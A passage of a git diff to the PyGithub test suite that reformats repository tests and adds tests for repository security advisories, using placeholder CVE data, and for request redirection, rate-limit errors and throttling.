self.assertEqual( - len( - self.repo.get_readme( - ref="refs/heads/topic/ExperimentOnDocumentation" - ).content - ), + len(self.repo.get_readme(ref="refs/heads/topic/ExperimentOnDocumentation").content), 6747, ) self.assertEqual( @@ -1423,9 +1512,7 @@ def testGetDeployments(self): def testCreateFile(self): newFile = "doc/testCreateUpdateDeleteFile.md" content = b"Hello world" - author = github.InputGitAuthor( - "Enix Yu", "enix223@163.com", "2016-01-15T16:13:30+12:00" - ) + author = github.InputGitAuthor("Enix Yu", "enix223@163.com", "2016-01-15T16:13:30+12:00") self.assertEqual(repr(author), 'InputGitAuthor(name="Enix Yu")') self.repo.create_file( path=newFile, @@ -1446,12 +1533,8 @@ def testUpdateFile(self): content=content, sha=sha, branch="master", - committer=github.InputGitAuthor( - "Enix Yu", "enix223@163.com", "2016-01-15T16:13:30+12:00" - ), - author=github.InputGitAuthor( - "Enix Yu", "enix223@163.com", "2016-01-15T16:13:30+12:00" - ), + committer=github.InputGitAuthor("Enix Yu", "enix223@163.com", "2016-01-15T16:13:30+12:00"), + author=github.InputGitAuthor("Enix Yu", "enix223@163.com", "2016-01-15T16:13:30+12:00"), ) def testDeleteFile(self): @@ -1495,20 +1578,14 @@ def testRenameBranchString(self): def testMergeWithoutMessage(self): commit = self.repo.merge("branchForBase", "branchForHead") - self.assertEqual( - commit.commit.message, "Merge branchForHead into branchForBase" - ) + self.assertEqual(commit.commit.message, "Merge branchForHead into branchForBase") def testMergeWithMessage(self): - commit = self.repo.merge( - "branchForBase", "branchForHead", "Commit message created by PyGithub" - ) + commit = self.repo.merge("branchForBase", "branchForHead", "Commit message created by PyGithub") self.assertEqual(commit.commit.message, "Commit message created by PyGithub") def testMergeWithNothingToDo(self): - commit = self.repo.merge( - "branchForBase", "branchForHead", "Commit message created by PyGithub" - ) + commit = self.repo.merge("branchForBase", "branchForHead", "Commit message created by PyGithub") self.assertEqual(commit, None) def testMergeWithConflict(self): @@ -1611,9 +1688,7 @@ def testGetIssuesComments(self): ], ) self.assertListKeyEqual( - self.repo.get_issues_comments( - since=datetime.datetime(2012, 5, 28, 23, 0, 0) - )[:40], + self.repo.get_issues_comments(since=datetime(2012, 5, 28, 23, 0, 0))[:40], lambda c: c.id, [ 5981084, @@ -1660,18 +1735,14 @@ def testGetIssuesComments(self): ) def testGetPullsComments(self): - self.assertListKeyEqual( - self.repo.get_pulls_comments(), lambda c: c.id, [1580134] - ) + self.assertListKeyEqual(self.repo.get_pulls_comments(), lambda c: c.id, [1580134]) self.assertListKeyEqual( self.repo.get_pulls_comments(sort="created", direction="asc"), lambda c: c.id, [1580134], ) self.assertListKeyEqual( - self.repo.get_pulls_comments( - since=datetime.datetime(2012, 5, 28, 23, 0, 0) - ), + self.repo.get_pulls_comments(since=datetime(2012, 5, 28, 23, 0, 0)), lambda c: c.id, [1580134], ) @@ -1681,13 +1752,9 @@ def testSubscribePubSubHubbub(self): def testBadSubscribePubSubHubbub(self): with self.assertRaises(github.GithubException) as raisedexp: - self.repo.subscribe_to_hub( - "non-existing-event", "http://requestb.in/1bc1sc61" - ) + self.repo.subscribe_to_hub("non-existing-event", "http://requestb.in/1bc1sc61") self.assertEqual(raisedexp.exception.status, 422) - self.assertEqual( - raisedexp.exception.data, {"message": 'Invalid event: "non-existing-event"'} - ) + self.assertEqual(raisedexp.exception.data, {"message": 'Invalid event: "non-existing-event"'}) def testUnsubscribePubSubHubbub(self): self.repo.unsubscribe_from_hub("push", "http://requestb.in/1bc1sc61") @@ -1705,18 +1772,27 @@ def testStatisticsContributors(self): if s.author.login == "jacquev6": seenJacquev6 = True self.assertEqual(adTotal, 282147) - self.assertEqual(s.weeks[0].w, datetime.datetime(2012, 2, 12)) + self.assertEqual( + s.weeks[0].w, + datetime(2012, 2, 12, tzinfo=timezone.utc), + ) self.assertTrue(seenJacquev6) def testStatisticsCommitActivity(self): stats = self.repo.get_stats_commit_activity() - self.assertEqual(stats[0].week, datetime.datetime(2012, 11, 18, 0, 0)) + self.assertEqual( + stats[0].week, + datetime(2012, 11, 18, 0, 0, tzinfo=timezone.utc), + ) self.assertEqual(stats[0].total, 29) self.assertEqual(stats[0].days, [0, 7, 3, 9, 7, 3, 0]) def testStatisticsCodeFrequency(self): stats = self.repo.get_stats_code_frequency() - self.assertEqual(stats[0].week, datetime.datetime(2012, 2, 12, 0, 0)) + self.assertEqual( + stats[0].week, + datetime(2012, 2, 12, 0, 0, tzinfo=timezone.utc), + ) self.assertEqual(stats[0].additions, 3853) self.assertEqual(stats[0].deletions, -2098) @@ -1867,23 +1943,29 @@ def testGetMatchingRefs(self): self.assertEqual("refs/tags/v0.5", refs[4].ref) self.assertEqual("refs/tags/v0.6", refs[5].ref) - def testGetCodeScanAnalyses(self): - analyses = self.repo.get_code_scanning_analyses() - analysis = analyses.get_page(0)[0] - - self.assertIn("refs/heads/main", analysis.ref) - - def testGetDependabotAlerts(self): - alerts = self.repo.get_dependabot_alerts() - alert = alerts.get_page(0)[0] - - self.assertEqual(2, alert.number) - - def testGetSecretScanningAlerts(self): - alerts = self.repo.get_secret_scanning_alerts() - alert = alerts.get_page(0)[0] - - self.assertEqual(2, alert.number) + def testRepoVariable(self): + variable = self.repo.create_variable("variable_name", "variable-value") + self.assertTrue(variable.edit("variable-value123")) + variable.delete() + + def testRepoVariables(self): + # GitHub will always capitalize the variable name + variables = (("VARIABLE_NAME_ONE", "variable-value-one"), ("VARIABLE_NAME_TWO", "variable-value-two")) + repo = self.g.get_repo("AndrewJDawes/PyGithub") + for variable in variables: + repo.create_variable(variable[0], variable[1]) + repo.update() + repo_variables = repo.get_variables() + matched_repo_variables = [] + for variable in variables: + for repo_variable in repo_variables: + # GitHub will always capitalize the variable name, may be best to uppercase test data for comparison + if repo_variable.name == variable[0].upper() and repo_variable.value == variable[1]: + matched_repo_variables.append(repo_variable) + break + self.assertEqual(len(matched_repo_variables), len(variables)) + for matched_repo_variable in matched_repo_variables: + matched_repo_variable.delete() class LazyRepository(Framework.TestCase): diff --git a/tests/RepositoryAdvisory.py b/tests/RepositoryAdvisory.py new file mode 100644 index 0000000000..8370607357 --- /dev/null +++ b/tests/RepositoryAdvisory.py @@ -0,0 +1,360 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Leitschuh # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from datetime import datetime, timezone + +import github.RepositoryAdvisory + +from . import Framework + + +class RepositoryAdvisory(Framework.TestCase): + advisory: github.RepositoryAdvisory.RepositoryAdvisory + + def setUp(self): + super().setUp() + self.repo = self.g.get_user().get_repo("security-research") + self.advisory = self.repo.get_repository_advisory("GHSA-wmmh-r9w4-hpxx") + self.advisory.clear_credits() + self.advisory.offer_credit("octocat", "analyst") + + def testAttributes(self): + self.assertEqual(self.advisory.author.login, "JLLeitschuh") + self.assertEqual(self.advisory.closed_at, None) + self.assertEqual( + self.advisory.created_at, + datetime(2023, 3, 28, 21, 41, 40, tzinfo=timezone.utc), + ) + self.assertListKeyEqual(self.advisory.credits, lambda e: (e.login, e.type), [("octocat", "analyst")]) + self.assertListKeyEqual( + self.advisory.credits_detailed, + lambda e: (e.user.login, e.type), + [("octocat", "analyst")], + ) + self.assertEqual(self.advisory.cve_id, "CVE-2023-00000") + self.assertListEqual(self.advisory.cwe_ids, ["CWE-400", "CWE-501"]) + self.assertListKeyEqual( + self.advisory.cwes, + lambda e: (e.cwe_id, e.name), + [ + ("CWE-400", "Uncontrolled Resource Consumption"), + ("CWE-501", "Trust Boundary Violation"), + ], + ) + self.assertEqual( + self.advisory.description, + "This is a detailed description of this advisories impact and patches.", + ) + self.assertEqual(self.advisory.ghsa_id, "GHSA-wmmh-r9w4-hpxx") + self.assertEqual( + self.advisory.html_url, + "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx", + ) + self.assertEqual(self.advisory.published_at, None) + self.assertEqual(self.advisory.severity, "high") + self.assertEqual(self.advisory.state, "draft") + self.assertEqual(self.advisory.summary, "A test creating a GHSA via the API") + self.assertEqual( + self.advisory.updated_at, + datetime(2023, 3, 30, 19, 31, 33, tzinfo=timezone.utc), + ) + self.assertEqual( + self.advisory.url, + "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx", + ) + self.assertListKeyEqual( + self.advisory.vulnerabilities, + lambda e: ( + (e.package.ecosystem, e.package.name), + e.patched_versions, + e.vulnerable_functions, + e.vulnerable_version_range, + ), + [(("npm", "a-package"), "1.0.5", ["function-name"], ">= 1.0.2")], + ) + self.assertEqual(self.advisory.withdrawn_at, None) + + def testRemoveCredit(self): + self.advisory.revoke_credit("octocat") + self.assertListKeyEqual( + self.advisory.credits, + lambda e: e.login, + [], + ) + self.assertListKeyEqual( + self.advisory.credits_detailed, + lambda e: e.user.login, + [], + ) + + def testOfferCredit(self): + self.advisory.offer_credit("JLLeitschuh", "reporter") + self.assertListKeyEqual( + self.advisory.credits, + lambda e: e.login, + ["octocat", "JLLeitschuh"], + ) + self.assertListKeyEqual( + self.advisory.credits_detailed, + lambda e: e.user.login, + ["octocat", "JLLeitschuh"], + ) + + def testOfferCredits(self): + self.advisory.clear_credits() + self.advisory.offer_credits( + [ + {"login": "octocat", "type": "sponsor"}, + {"login": "JLLeitschuh", "type": "reporter"}, + ] + ) + self.assertListKeyEqual( + self.advisory.credits_detailed, + lambda e: (e.user.login, e.type), + [("octocat", "sponsor"), ("JLLeitschuh", "reporter")], + ) + + def testRepositoryWithNoAdvisories(self): + repo = self.g.get_user().get_repo("PyGithub") + self.assertListKeyEqual( + repo.get_repository_advisories(), + lambda e: e.ghsa_id, + [], + ) + + def testGetAdvisories(self): + self.assertListKeyEqual( + self.repo.get_repository_advisories(), + lambda e: e.ghsa_id, + [ + "GHSA-wmmh-r9w4-hpxx", + "GHSA-wvgm-59wj-rh8h", + "GHSA-22cq-8f5q-p5g2", + "GHSA-7hfp-mpq6-2jhf", + "GHSA-hfmw-fx2m-jj4c", + "GHSA-rvp4-r3g6-8hxq", + "GHSA-cm59-pr5q-cw85", + "GHSA-vpcc-9rh2-8jfp", + "GHSA-7fjx-657r-9r5h", + "GHSA-22c6-wcjm-qfjg", + "GHSA-5w9v-8x7x-rfqm", + "GHSA-2r85-x9cf-8fcg", + "GHSA-6m9h-r5m3-9r7f", + "GHSA-f4jh-ww96-9h9j", + "GHSA-j83w-7qr9-wv86", + "GHSA-7gf3-89f6-823j", + "GHSA-jpcm-4485-69p7", + ], + ) + + def testCreateRepositoryAdvisory(self): + repo = self.g.get_repo("JLLeitschuh/code-sandbox") + advisory = repo.create_repository_advisory( + "A test creating a GHSA via the API", + "This is a detailed description of this advisories impact and patches.", + "high", + "CVE-2000-00000", + vulnerabilities=[ + { + "package": {"ecosystem": "npm", "name": "b-package"}, + "vulnerable_version_range": "<=4.0.4", + "patched_versions": "4.0.5", + "vulnerable_functions": ["function-name"], + } + ], + cwe_ids=["CWE-401", "CWE-502"], + credits=[ + {"login": "octocat", "type": "analyst"}, + {"login": "JLLeitschuh", "type": "reporter"}, + ], + ) + self.assertEqual(advisory.ghsa_id, "GHSA-g45c-2crh-4xmp") + self.assertEqual(advisory.summary, "A test creating a GHSA via the API") + self.assertEqual( + advisory.description, + "This is a detailed description of this advisories impact and patches.", + ) + self.assertEqual(advisory.severity, "high") + self.assertEqual(advisory.cve_id, "CVE-2000-00000") + self.assertListKeyEqual( + advisory.vulnerabilities, + lambda e: ( + (e.package.ecosystem, e.package.name), + e.patched_versions, + e.vulnerable_functions, + e.vulnerable_version_range, + ), + [(("npm", "b-package"), "4.0.5", ["function-name"], "<=4.0.4")], + ) + self.assertListKeyEqual( + advisory.cwe_ids, + lambda e: e, + ["CWE-401", "CWE-502"], + ) + self.assertListKeyEqual( + advisory.credits_detailed, + lambda e: (e.user.login, e.type), + [("octocat", "analyst"), ("JLLeitschuh", "reporter")], + ) + + def testUpdateRepositoryAdvisory(self): + repo = self.g.get_repo("JLLeitschuh/code-sandbox") + advisory = repo.get_repository_advisory("GHSA-g45c-2crh-4xmp") + advisory.edit( + summary="A test updating a GHSA via the API", + description="This is an updated detailed description of this advisories impact and patches.", + severity_or_cvss_vector_string="low", + cve_id="CVE-2000-00001", + vulnerabilities=[ + { + "package": {"ecosystem": "npm", "name": "c-package"}, + "vulnerable_version_range": "<=4.0.6", + "patched_versions": "4.0.7", + "vulnerable_functions": ["function-name-a"], + } + ], + cwe_ids=["CWE-402", "CWE-500"], + credits=[ + {"login": "octocat", "type": "sponsor"}, + {"login": "JLLeitschuh", "type": "reporter"}, + ], + ) + self.assertEqual(advisory.ghsa_id, "GHSA-g45c-2crh-4xmp") + self.assertEqual(advisory.summary, "A test updating a GHSA via the API") + self.assertEqual( + advisory.description, + "This is an updated detailed description of this advisories impact and patches.", + ) + self.assertEqual(advisory.severity, "low") + self.assertEqual(advisory.cve_id, "CVE-2000-00001") + self.assertListKeyEqual( + advisory.vulnerabilities, + lambda e: ( + (e.package.ecosystem, e.package.name), + e.patched_versions, + e.vulnerable_functions, + e.vulnerable_version_range, + ), + [(("npm", "c-package"), "4.0.7", ["function-name-a"], "<=4.0.6")], + ) + self.assertListKeyEqual( + advisory.cwe_ids, + lambda e: e, + ["CWE-402", "CWE-500"], + ) + self.assertListKeyEqual( + advisory.credits_detailed, + lambda e: (e.user.login, e.type), + [("octocat", "sponsor"), ("JLLeitschuh", "reporter")], + ) + + def testUpdateSingleFieldDoesNotRemoveOtherFields(self): + repo = self.g.get_repo("JLLeitschuh/code-sandbox") + advisory = repo.create_repository_advisory( + "A test editing a GHSA via the API with only a single manipulation", + "This is a detailed description of this advisories impact and patches.", + "high", + "CVE-2000-00000", + vulnerabilities=[ + { + "package": {"ecosystem": "npm", "name": "b-package"}, + "vulnerable_version_range": "<=4.0.4", + "patched_versions": "4.0.5", + "vulnerable_functions": ["function-name"], + } + ], + cwe_ids=["CWE-401", "CWE-502"], + credits=[ + {"login": "octocat", "type": "analyst"}, + {"login": "JLLeitschuh", "type": "reporter"}, + ], + ) + advisory.edit(description="A modified description") + self.assertEqual(advisory.ghsa_id, "GHSA-4wwp-8jp9-9233") + self.assertEqual( + advisory.summary, + "A test editing a GHSA via the API with only a single manipulation", + ) + self.assertEqual(advisory.description, "A modified description") + self.assertEqual(advisory.severity, "high") + self.assertEqual(advisory.cve_id, "CVE-2000-00000") + self.assertListKeyEqual( + advisory.vulnerabilities, + lambda e: ( + (e.package.ecosystem, e.package.name), + e.patched_versions, + e.vulnerable_functions, + e.vulnerable_version_range, + ), + [(("npm", "b-package"), "4.0.5", ["function-name"], "<=4.0.4")], + ) + self.assertListKeyEqual( + advisory.cwe_ids, + lambda e: e, + ["CWE-401", "CWE-502"], + ) + self.assertListKeyEqual( + advisory.credits_detailed, + lambda e: (e.user.login, e.type), + [("octocat", "analyst"), ("JLLeitschuh", "reporter")], + ) + + def testAddVulnerability(self): + repo = self.g.get_repo("JLLeitschuh/code-sandbox") + advisory = repo.create_repository_advisory( + summary="A test creating a GHSA via the API adding and removing vulnerabilities", + description="Simple description", + severity_or_cvss_vector_string="low", + ) + advisory.add_vulnerability(ecosystem="maven") + self.assertListKeyEqual( + advisory.vulnerabilities, + lambda e: ( + (e.package.ecosystem, e.package.name), + e.patched_versions, + e.vulnerable_functions, + e.vulnerable_version_range, + ), + [(("maven", None), None, [], None)], + ) + advisory.add_vulnerability( + ecosystem="npm", + package_name="b-package", + vulnerable_version_range="<=4.0.9", + patched_versions="4.0.10", + vulnerable_functions=["function-name-c"], + ) + self.assertListKeyEqual( + advisory.vulnerabilities, + lambda e: ( + (e.package.ecosystem, e.package.name), + e.patched_versions, + e.vulnerable_functions, + e.vulnerable_version_range, + ), + [ + (("maven", None), None, [], None), + (("npm", "b-package"), "4.0.10", ["function-name-c"], "<=4.0.9"), + ], + ) diff --git a/tests/RepositoryKey.py b/tests/RepositoryKey.py index 4e290ab5d9..e42f74ae19 100644 --- a/tests/RepositoryKey.py +++ b/tests/RepositoryKey.py @@ -10,6 +10,12 @@ # Copyright 2018 Laurent Raufaste # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -29,7 +35,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -48,15 +54,14 @@ def testAttributes(self): "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLOoLSVPwG1OSgVSeEXNbfIofYdxR5zs3u4PryhnamfFPYwi2vZW3ZxeI1oRcDh2VEdwGvlN5VUduKJNoOWMVzV2jSyR8CeDHH+I0soQCC7kfJVodU96HcPMzZ6MuVwSfD4BFGvKMXyCnBUqzo28BGHFwVQG8Ya9gL6/cTbuWywgM4xaJgMHv1OVcESXBtBkrqOneTJuOgeEmP0RfUnIAK/3/wbg9mfiBq7JV4cmWAg1xNE8GJoAbci59Tdx1dQgVuuqdQGk5jzNusOVneyMtGEB+p7UpPLJsGBW29rsMt7ITUbXM/kl9v11vPtWb+oOUThoFsDYmsWy7fGGP9YAFB", ) self.assertEqual(self.key.title, "PyGithub Test Key") + self.assertEqual(self.key.url, "https://api.github.com/repos/lra/mackup/keys/21870881") self.assertEqual( - self.key.url, "https://api.github.com/repos/lra/mackup/keys/21870881" + self.key.created_at, + datetime(2017, 2, 22, 8, 16, 23, tzinfo=timezone.utc), ) - self.assertEqual(self.key.created_at, datetime.datetime(2017, 2, 22, 8, 16, 23)) self.assertTrue(self.key.verified) self.assertTrue(self.key.read_only) - self.assertEqual( - repr(self.key), 'RepositoryKey(title="PyGithub Test Key", id=21870881)' - ) + self.assertEqual(repr(self.key), 'RepositoryKey(title="PyGithub Test Key", id=21870881)') def testDelete(self): self.key.delete() diff --git a/tests/Requester.py b/tests/Requester.py new file mode 100644 index 0000000000..97118f543b --- /dev/null +++ b/tests/Requester.py @@ -0,0 +1,445 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Hemslo Wang # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +import contextlib +from datetime import datetime, timedelta, timezone +from unittest import mock + +import github + +from . import Framework +from .GithubIntegration import APP_ID, PRIVATE_KEY + +REPO_NAME = "PyGithub/PyGithub" + + +class Requester(Framework.TestCase): + logger = None + + def setUp(self): + super().setUp() + self.logger = mock.MagicMock() + github.Requester.Requester.injectLogger(self.logger) + + def tearDown(self): + github.Requester.Requester.resetLogger() + super().tearDown() + + def testRecreation(self): + class TestAuth(github.Auth.AppAuth): + pass + + # create a Requester with non-default arguments + auth = TestAuth(123, "key") + requester = github.Requester.Requester( + auth=auth, + base_url="https://base.url", + timeout=1, + user_agent="user agent", + per_page=123, + verify=False, + retry=3, + pool_size=5, + seconds_between_requests=1.2, + seconds_between_writes=3.4, + ) + kwargs = requester.kwargs + + # assert kwargs consists of ALL constructor arguments + self.assertEqual(kwargs.keys(), github.Requester.Requester.__init__.__annotations__.keys()) + self.assertEqual( + kwargs, + dict( + auth=auth, + base_url="https://base.url", + timeout=1, + user_agent="user agent", + per_page=123, + verify=False, + retry=3, + pool_size=5, + seconds_between_requests=1.2, + seconds_between_writes=3.4, + ), + ) + + # create a copy Requester, assert identity via kwargs + copy = github.Requester.Requester(**kwargs) + self.assertEqual(copy.kwargs, kwargs) + + # create Github instance, assert identity requester + gh = github.Github(**kwargs) + self.assertEqual(gh._Github__requester.kwargs, kwargs) + + # create GithubIntegration instance, assert identity requester + gi = github.GithubIntegration(**kwargs) + self.assertEqual(gi._GithubIntegration__requester.kwargs, kwargs) + + def testWithAuth(self): + class TestAuth(github.Auth.AppAuth): + pass + + # create a Requester with non-default arguments + auth = TestAuth(123, "key") + requester = github.Requester.Requester( + auth=auth, + base_url="https://base.url", + timeout=1, + user_agent="user agent", + per_page=123, + verify=False, + retry=3, + pool_size=5, + seconds_between_requests=1.2, + seconds_between_writes=3.4, + ) + + # create a copy with different auth + auth2 = TestAuth(456, "key2") + copy = requester.withAuth(auth2) + + # assert kwargs of copy + self.assertEqual( + copy.kwargs, + dict( + auth=auth2, + base_url="https://base.url", + timeout=1, + user_agent="user agent", + per_page=123, + verify=False, + retry=3, + pool_size=5, + seconds_between_requests=1.2, + seconds_between_writes=3.4, + ), + ) + + def testCloseGithub(self): + mocked_connection = mock.MagicMock() + mocked_custom_connection = mock.MagicMock() + + with github.Github() as gh: + requester = gh._Github__requester + requester._Requester__connection = mocked_connection + requester._Requester__custom_connections.append(mocked_custom_connection) + + mocked_connection.close.assert_called_once_with() + mocked_custom_connection.close.assert_called_once_with() + self.assertIsNone(requester._Requester__connection) + + def testCloseGithubIntegration(self): + mocked_connection = mock.MagicMock() + mocked_custom_connection = mock.MagicMock() + + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + with github.GithubIntegration(auth=auth) as gi: + requester = gi._GithubIntegration__requester + requester._Requester__connection = mocked_connection + requester._Requester__custom_connections.append(mocked_custom_connection) + + mocked_connection.close.assert_called_once_with() + mocked_custom_connection.close.assert_called_once_with() + self.assertIsNone(requester._Requester__connection) + + def testLoggingRedirection(self): + self.assertEqual(self.g.get_repo("EnricoMi/test").name, "test-renamed") + self.logger.info.assert_called_once_with( + "Following Github server redirection from /repos/EnricoMi/test to /repositories/638123443" + ) + + def testBaseUrlSchemeRedirection(self): + gh = github.Github(base_url="http://api.github.com") + with self.assertRaises(RuntimeError) as exc: + gh.get_repo("PyGithub/PyGithub") + self.assertEqual( + exc.exception.args, + ( + "Github server redirected from http protocol to https, please correct your " + "Github server URL via base_url: Github(base_url=...)", + ), + ) + + def testBaseUrlHostRedirection(self): + gh = github.Github(base_url="https://www.github.com") + with self.assertRaises(RuntimeError) as exc: + gh.get_repo("PyGithub/PyGithub") + self.assertEqual( + exc.exception.args, + ( + "Github server redirected from host www.github.com to github.com, " + "please correct your Github server URL via base_url: Github(base_url=...)", + ), + ) + + def testBaseUrlPortRedirection(self): + # replay data forged + gh = github.Github(base_url="https://api.github.com") + with self.assertRaises(RuntimeError) as exc: + gh.get_repo("PyGithub/PyGithub") + self.assertEqual( + exc.exception.args, + ( + "Requested https://api.github.com/repos/PyGithub/PyGithub but server " + "redirected to https://api.github.com:443/repos/PyGithub/PyGithub, " + "you may need to correct your Github server URL " + "via base_url: Github(base_url=...)", + ), + ) + + def testBaseUrlPrefixRedirection(self): + # replay data forged + gh = github.Github(base_url="https://api.github.com/api/v3") + self.assertEqual(gh.get_repo("PyGithub/PyGithub").name, "PyGithub") + self.logger.info.assert_called_once_with( + "Following Github server redirection from /api/v3/repos/PyGithub/PyGithub to /repos/PyGithub/PyGithub" + ) + + PrimaryRateLimitErrors = [ + "API rate limit exceeded for x.x.x.x. (But here's the good news: Authenticated requests get a higher rate limit. Check out the documentation for more details.)", + ] + SecondaryRateLimitErrors = [ + "You have triggered an abuse detection mechanism. Please wait a few minutes before you try again.", + "You have triggered an abuse detection mechanism and have been temporarily blocked from content creation. Please retry your request again later." + "You have exceeded a secondary rate limit and have been temporarily blocked from content creation. Please retry your request again later.", + "You have exceeded a secondary rate limit. Please wait a few minutes before you try again.", + "Something else here. Please wait a few minutes before you try again.", + ] + OtherErrors = ["User does not exist or is not a member of the organization"] + + def testIsRateLimitError(self): + for message in self.PrimaryRateLimitErrors + self.SecondaryRateLimitErrors: + self.assertTrue(github.Requester.Requester.isRateLimitError(message), message) + for message in self.OtherErrors: + self.assertFalse(github.Requester.Requester.isRateLimitError(message), message) + + def testIsPrimaryRateLimitError(self): + for message in self.PrimaryRateLimitErrors: + self.assertTrue(github.Requester.Requester.isPrimaryRateLimitError(message), message) + for message in self.OtherErrors + self.SecondaryRateLimitErrors: + self.assertFalse(github.Requester.Requester.isPrimaryRateLimitError(message), message) + + def testIsSecondaryRateLimitError(self): + for message in self.SecondaryRateLimitErrors: + self.assertTrue(github.Requester.Requester.isSecondaryRateLimitError(message), message) + for message in self.OtherErrors + self.PrimaryRateLimitErrors: + self.assertFalse(github.Requester.Requester.isSecondaryRateLimitError(message), message) + + def assertException(self, exception, exception_type, status, data, headers, string): + self.assertIsInstance(exception, exception_type) + self.assertEqual(exception.status, status) + if data is None: + self.assertIsNone(exception.data) + else: + self.assertEqual(exception.data, data) + self.assertEqual(exception.headers, headers) + self.assertEqual(str(exception), string) + + def testShouldCreateBadCredentialsException(self): + exc = self.g._Github__requester.createException(401, {"header": "value"}, {"message": "Bad credentials"}) + self.assertException( + exc, + github.BadCredentialsException, + 401, + {"message": "Bad credentials"}, + {"header": "value"}, + '401 {"message": "Bad credentials"}', + ) + + def testShouldCreateTwoFactorException(self): + exc = self.g._Github__requester.createException( + 401, + {"x-github-otp": "required; app"}, + { + "message": "Must specify two-factor authentication OTP code.", + "documentation_url": "https://developer.github.com/v3/auth#working-with-two-factor-authentication", + }, + ) + self.assertException( + exc, + github.TwoFactorException, + 401, + { + "message": "Must specify two-factor authentication OTP code.", + "documentation_url": "https://developer.github.com/v3/auth#working-with-two-factor-authentication", + }, + {"x-github-otp": "required; app"}, + '401 {"message": "Must specify two-factor authentication OTP code.", "documentation_url": "https://developer.github.com/v3/auth#working-with-two-factor-authentication"}', + ) + + def testShouldCreateBadUserAgentException(self): + exc = self.g._Github__requester.createException( + 403, + {"header": "value"}, + {"message": "Missing or invalid User Agent string"}, + ) + self.assertException( + exc, + github.BadUserAgentException, + 403, + {"message": "Missing or invalid User Agent string"}, + {"header": "value"}, + '403 {"message": "Missing or invalid User Agent string"}', + ) + + def testShouldCreateRateLimitExceededException(self): + for message in self.PrimaryRateLimitErrors + self.SecondaryRateLimitErrors: + with self.subTest(message=message): + exc = self.g._Github__requester.createException(403, {"header": "value"}, {"message": message}) + self.assertException( + exc, + github.RateLimitExceededException, + 403, + {"message": message}, + {"header": "value"}, + f'403 {{"message": "{message}"}}', + ) + + def testShouldCreateUnknownObjectException(self): + exc = self.g._Github__requester.createException(404, {"header": "value"}, {"message": "Not Found"}) + self.assertException( + exc, + github.UnknownObjectException, + 404, + {"message": "Not Found"}, + {"header": "value"}, + '404 {"message": "Not Found"}', + ) + + def testShouldCreateGithubException(self): + for status in range(400, 600): + with self.subTest(status=status): + exc = self.g._Github__requester.createException( + status, {"header": "value"}, {"message": "Something unknown"} + ) + self.assertException( + exc, + github.GithubException, + status, + {"message": "Something unknown"}, + {"header": "value"}, + f'{status} {{"message": "Something unknown"}}', + ) + + def testShouldCreateExceptionWithoutMessage(self): + for status in range(400, 600): + with self.subTest(status=status): + exc = self.g._Github__requester.createException(status, {}, {}) + self.assertException(exc, github.GithubException, status, {}, {}, f"{status} {{}}") + + def testShouldCreateExceptionWithoutOutput(self): + for status in range(400, 600): + with self.subTest(status=status): + exc = self.g._Github__requester.createException(status, {}, None) + self.assertException(exc, github.GithubException, status, None, {}, f"{status}") + + +class RequesterThrottleTestCase(Framework.TestCase): + per_page = 10 + + mock_time = [datetime.now(timezone.utc)] + + def sleep(self, seconds): + self.mock_time[0] = self.mock_time[0] + timedelta(seconds=seconds) + + def now(self, tz=None): + return self.mock_time[0] + + @contextlib.contextmanager + def mock_sleep(self): + with mock.patch("github.Requester.time.sleep", side_effect=self.sleep) as sleep_mock, mock.patch( + "github.Requester.datetime" + ) as datetime_mock: + datetime_mock.now = self.now + yield sleep_mock + + +class RequesterUnThrottled(RequesterThrottleTestCase): + def testShouldNotDeferRequests(self): + with self.mock_sleep() as sleep_mock: + # same test setup as in RequesterThrottled.testShouldDeferRequests + repository = self.g.get_repo(REPO_NAME) + releases = list(repository.get_releases()) + self.assertEqual(len(releases), 30) + + sleep_mock.assert_not_called() + + +class RequesterThrottled(RequesterThrottleTestCase): + seconds_between_requests = 1.0 + seconds_between_writes = 3.0 + + def testShouldDeferRequests(self): + with self.mock_sleep() as sleep_mock: + # same test setup as in RequesterUnThrottled.testShouldNotDeferRequests + repository = self.g.get_repo(REPO_NAME) + releases = [release for release in repository.get_releases()] + self.assertEqual(len(releases), 30) + + self.assertEqual(sleep_mock.call_args_list, [mock.call(1), mock.call(1), mock.call(1)]) + + def testShouldDeferWrites(self): + with self.mock_sleep() as sleep_mock: + # same test setup as in AuthenticatedUser.testEmail + user = 